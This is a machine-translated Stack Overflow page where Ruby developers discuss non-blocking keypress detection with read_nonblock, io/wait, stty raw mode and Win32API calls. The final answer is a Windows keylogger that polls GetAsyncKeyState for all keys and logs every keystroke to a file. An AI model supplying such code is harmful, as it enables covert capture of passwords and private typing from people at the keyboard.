2009-06-03 2 views
17

У меня есть простая задача, которая должна ждать, когда что-то изменится в файловой системе (это по существу компилятор для прототипов). Поэтому у меня есть простой бесконечный цикл с 5-секундным сном после проверки изменений файлов.Обнаружение нажатия клавиши (неблокирование) без getc/gets в Ruby

loop do 
    # if files changed 
    # process files 
    # and puts result 
    sleep 5 
end 

Вместо Ctrl+C салют, я предпочел бы быть в состоянии проверить и посмотреть, если клавиша была нажата, не блокируя петлю. По сути, мне просто нужен способ узнать, есть ли входящие нажатия клавиш, затем способ захватить их до тех пор, пока Q не будет удовлетворен, а затем выйдите из программы.

Что я хочу:

def wait_for_Q 
    key_is_pressed && get_ch == 'Q' 
end 

loop do 
    # if files changed 
    # process files 
    # and puts result 
    wait_for_Q or sleep 5 
end 

Или это что-то Руби просто не делает (а)?

ответ

13

Вот один из способов сделать это, используя IO#read_nonblock:

def quit? 
    begin 
    # See if a 'Q' has been typed yet 
    while c = STDIN.read_nonblock(1) 
     puts "I found a #{c}" 
     return true if c == 'Q' 
    end 
    # No 'Q' found 
    false 
    rescue Errno::EINTR 
    puts "Well, your device seems a little slow..." 
    false 
    rescue Errno::EAGAIN 
    # nothing was ready to be read 
    puts "Nothing to be read..." 
    false 
    rescue EOFError 
    # quit on the end of the input stream 
    # (user hit CTRL-D) 
    puts "Who hit CTRL-D, really?" 
    true 
    end 
end 

loop do 
    puts "I'm a loop!" 
    puts "Checking to see if I should quit..." 
    break if quit? 
    puts "Nope, let's take a nap" 
    sleep 5 
    puts "Onto the next iteration!" 
end 

puts "Oh, I quit." 

Имейте в виду, что даже если это использует неблокируемому IO, он по-прежнему буферном IO. Это означает, что вашим пользователям придется нажать Q, затем <Enter>. Если вы хотите сделать небуферизованный ввод-вывод, я бы предложил проверить библиотеку проклятий ruby.

+0

К сожалению, я на окнах, и это бросает Errno :: EBADF или ошибку плохого файла. Я исследую свои варианты. –

+0

Попробуйте захватить EBADF с помощью EINTR и EAGAIN- это может быть просто временная ошибка, пока вы на самом деле не вводите какой-либо ввод (не уверен, а не в windows). – rampion

+0

Могу ли я сделать то же самое на C или PHP или Perl? любой код там? –

1

Вы также можете изучить библиотеку 'io/wait' для Ruby, которая предоставляет метод ready? для всех объектов ввода-вывода. Я не тестировал вашу ситуацию конкретно, но использую ее в библиотеке сокетов, над которой я работаю. В вашем случае, если STDIN является стандартным объектом ввода-вывода, вы, вероятно, можете покинуть момент. ready? возвращает результат, отличный от нуля, если только вам не интересно узнать, какой ключ был нажат. Эта функциональность может быть реализована через require 'io/wait', которая является частью стандартной библиотеки Ruby. Я не уверен, что он работает во всех средах, но стоит попробовать. Rdocs: http://ruby-doc.org/stdlib/libdoc/io/wait/rdoc/

9

Вы также можете сделать это без буфера. В системах на основе unix это легко:

system("stty raw -echo") #=> Raw mode, no echo 
char = STDIN.getc 
system("stty -raw echo") #=> Reset terminal mode 
puts char 

Это будет ждать нажатия клавиши и возврата кода символа. Не нужно нажимать.

Поместите char = STDIN.getc в цикл, и у вас его есть!

Если вы на окнах, по Рубиновому пути, вам необходимо либо написать расширение в C или использовать эту маленькую хитрость (хотя это было написано в 2001 году, так что может быть лучше)

require 'Win32API' 
char = Win32API.new('crtdll','_getch', [], 'L').Call 

Вот моя ссылка: great book, if you don't own it you should

+3

Я не понимаю. Как это не блокируется? Он ждет символа. –

8

сочетание других ответов получает желаемое поведение. Протестировано в ruby ​​1.9.3 на OSX и Linux.

loop do 
    puts 'foo' 
    system("stty raw -echo") 
    char = STDIN.read_nonblock(1) rescue nil 
    system("stty -raw echo") 
    break if /q/i =~ char 
    sleep(2) 
end 
+0

Хотя этот ответ полезен, следует отметить, что он не улавливает все ошибки, которые улавливает ответ в стиле rampion, и эти ошибки не редки. – Seanny123

7

Комбинируя различные решения, которые я только что прочитал, я придумал кросс-платформенный способ решения этой проблемы. Details here, но вот соответствующий фрагмент кода: a GetKey.getkey метод, возвращающий код ASCII или nil, если ни один не был нажат.

Должен работать как на Windows, так и на Unix.

module GetKey 

    # Check if Win32API is accessible or not 
    @use_stty = begin 
    require 'Win32API' 
    false 
    rescue LoadError 
    # Use Unix way 
    true 
    end 

    # Return the ASCII code last key pressed, or nil if none 
    # 
    # Return:: 
    # * _Integer_: ASCII code of the last key pressed, or nil if none 
    def self.getkey 
    if @use_stty 
     system('stty raw -echo') # => Raw mode, no echo 
     char = (STDIN.read_nonblock(1).ord rescue nil) 
     system('stty -raw echo') # => Reset terminal mode 
     return char 
    else 
     return Win32API.new('crtdll', '_kbhit', [ ], 'I').Call.zero? ? nil : Win32API.new('crtdll', '_getch', [ ], 'L').Call 
    end 
    end 

end 

А вот это простая программа, чтобы проверить это:

loop do 
    k = GetKey.getkey 
    puts "Key pressed: #{k.inspect}" 
    sleep 1 
end 

В ссылке, указанной выше, я также показать, как использовать curses библиотеку, но результат становится немного юродивый на Windows.

0

Теперь используйте этот

require 'Win32API' 

VK_SHIFT = 0x10 
VK_ESC = 0x1B 

def check_shifts() 
    $listener.call(VK_SHIFT) != 0 ? true : false 
end 

# create empty Hash of key codes 
keys = Hash.new 

# create empty Hash for shift characters 
uppercase = Hash.new 

# add letters 
(0x41..0x5A).each { |code| keys[code.chr.downcase] = code } 

# add numbers 
(0x30..0x39).each { |code| keys[code-0x30] = code } 

# add special characters 
keys[';'] = 0xBA; keys['='] = 0xBB; keys[','] = 0xBC; keys['-'] = 0xBD; keys['.'] = 0xBE 
keys['/'] = 0xBF; keys['`'] = 0xC0; keys['['] = 0xDB; keys[']'] = 0xDD; keys["'"] = 0xDE 
keys['\\'] = 0xDC 

# add custom key macros 
keys["\n"] = 0x0D; keys["\t"] = 0x09; keys['(backspace)'] = 0x08; keys['(CAPSLOCK)'] = 0x14 

# add for uppercase letters 
('a'..'z').each { |char| uppercase[char] = char.upcase } 

# add for uppercase numbers 
uppercase[1] = '!'; uppercase[2] = '@'; uppercase[3] = '#'; uppercase[4] = '$'; uppercase[5] = '%' 
uppercase[6] = '^'; uppercase[7] = '&'; uppercase[8] = '*'; uppercase[9] = '('; uppercase[0] = ')' 

# add for uppercase special characters 
uppercase[';'] = ':'; uppercase['='] = '+'; uppercase[','] = '<'; uppercase['-'] = '_'; uppercase['.'] = '>' 
uppercase['/'] = '?'; uppercase['`'] = '~'; uppercase['['] = '{'; uppercase[']'] = '}'; uppercase["'"] = '"' 
uppercase['\\'] = '|' 

# create a listener for Windows key-presses 
$listener = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i') 

# call listener once to initialize lsb's 
keys.each_value { |code| $listener.call(code) } 

logs = File.open('C://kpkt.txt', 'a') 

while true 
    break if $listener.call(VK_ESC) != 0 

    keys.each do |char, code| 
     n = $listener.call(code) 
     if n and n & 0x01 == 1 
      check_shifts() ? logs.write("#{uppercase[char]}") : logs.write("#{char}") 
     end 
    end 
end 

logs.close() 

 Смежные вопросы

  • Нет связанных вопросов^_^